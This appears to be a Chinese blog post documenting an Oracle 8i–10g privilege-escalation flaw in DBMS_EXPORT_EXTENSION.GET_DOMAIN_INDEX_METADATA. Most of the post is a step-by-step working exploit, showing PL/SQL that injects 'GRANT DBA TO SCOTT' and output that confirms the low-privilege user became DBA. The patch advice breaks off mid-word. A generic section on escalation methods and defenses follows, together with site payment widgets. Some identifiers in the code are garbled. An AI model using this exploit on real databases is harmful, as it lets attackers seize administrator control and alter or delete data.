oracle普通用户提权,oracle 10g 漏洞--低权限用户提权方法

oracle 低权限用户提权方法:

【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞

【影响平台】Oracle 8i / 9i / 10g / XE

【风险等级】高

【攻击需求】较低权限账号

【造成危害】取得管理员权限

【内容描述】

oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5及其他版本可以允许远端攻击者执行任意SQL命令,

由于DBMS_EXPORT_EXTENSION package 中的GET_DOMAIN_INDEX_METADATA 程序存在漏洞远端

攻击者可以送出特殊建立的SQL命令来提升权限以及新增,修改,删除数据库。

【测试代码】

1、用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。

sqlplus scott/tiger@orcl

2、查询scott的当前角色

SQL> select * from session_roles;

ROLE

------------------------------------------------------------

CONNECT

RESOURCE

可以看到scott只有CONNECT和RESOURCE两个权限较低的角色

3、利用漏洞执行权限提升

SQL>

-- Create a function in a package first and inject this function. The function will be executed as user SYS.

Create or REPLACE

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

Create or REPLACE PACKAGE BODY HACKERPACKAGE

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER

IS

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBATO SCOTT';

COMMIT;

RETURN(1);

END;

END;

/

-- Inject the function in dbms_export_extension

DECLARE

INDEX_NAME VARCHAR2(200);

INDEX_SCHEMAVARCHAR2(200);

TYPE_NAME VARCHAR2(200);

TYPE_SCHEMAVARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS_INTEGER;

GMFLAGS NUMBER;

v_Return VARCHAR2(200);

BEGIN

INDEX_NAME := 'A1';

INDEX_SCHEMA := 'SCOTT';

TYPE_NAME := 'HACKERPACKAGE';

TYPE_SCHEMA := 'SCOTT';

VERSION := '9.2.0.1.0';

GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>

INDEX_NAME,

INDEX_SCHEMA=> INDEX_SCHEMA,

TYPE_NAME => TYPE_NAME,

TYPE_SCHEMA => TYPE_SCHEMA,

VERSION => VERSION,

NEWBLOCK => NEWBLOCK,

GMFLAGS => GMFLAGS);

END;

/

sqlplus中显示"PL/SQL procedure successfully completed",提升权限成功。

4、断开连接

SQL> disc;

5、重新连接

SQL> conn scott/tiger@orcl;

6、再次查询scott的当前角色

SQL> select * from session_roles;

ROLE

------------------------------------------------------------

CONNECT

RESOURCE

DBA

Select_CATALOG_ROLE

HS_ADMIN_ROLE

EXECUTE_CATALOG_ROLE

Delete_CATALOG_ROLE

EXP_FULL_DATABASE

IMP_FULL_DATABASE

GATHER_SYSTEM_STATISTICS

WM_ADMIN_ROLE

ROLE

------------------------------------------------------------

JAVA_ADMIN

JAVA_DEPLOY

XDBADMIN

OLAP_DBA

已选择15行。

看到权限已经提升为DBA

【修补方式】

参考Oracle Critical Pat

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Oracle数据库提权原理涉及到Oracle数据库的权限管理和用户权限控制机制。 在Oracle数据库中,权限是分层次的,包括系统级权限和对象级权限。系统级权限用于控制数据库整体的操作,如创建用户、分配角色等;对象级权限用于控制对具体数据库对象(如表、视图、存储过程等)的操作。 当一个用户连接到Oracle数据库时,会使用一个用户名和密码进行认证。用户可以被授予不同的权限,这些权限可以直接授予给用户,也可以通过角色间接授予给用户。 在提权过程中,一般可以通过以下几种方式实现: 1. 知道管理员账号:如果获得了管理员账号(如sys账号),就可以直接拥有系统级权限,并可以创建或修改其他用户权限。 2. 注入攻击:通过利用数据库应用程序的漏洞,执行恶意代码来提权。例如,通过SQL注入攻击可以执行未经授权的SQL语句,从而获取更高级别的访问权限。 3. 通过未修补的漏洞:如果数据库服务器存在已知的未修补漏洞,攻击者可以利用这些漏洞来绕过权限限制,获得更高级别的访问权限。 4. 提权工具:一些专门用于提权的工具可以利用已知的漏洞或弱点,来获取更高级别的访问权限。 为了防止数据库提权攻击,建议采取以下措施: - 保持数据库软件和补丁的最新状态,定期更新数据库软件。 - 遵循最佳安全实践,如使用复杂的密码,定期更改密码,限制远程访问等。 - 对数据库应用程序进行安全审计和代码审查,修复潜在的漏洞。 - 限制用户权限,并按照最小权限原则授予用户所需的权限。 - 监控数据库活动,及时发现并应对异常行为。 - 配置防火墙和入侵检测系统,及时检测和阻止潜在的攻击。 以上是Oracle数据库提权的一般原理和建议措施,具体情况可能会因数据库版本、配置和应用程序的不同而有所差异。在实际应用中,请根据具体情况采取相应的安全措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值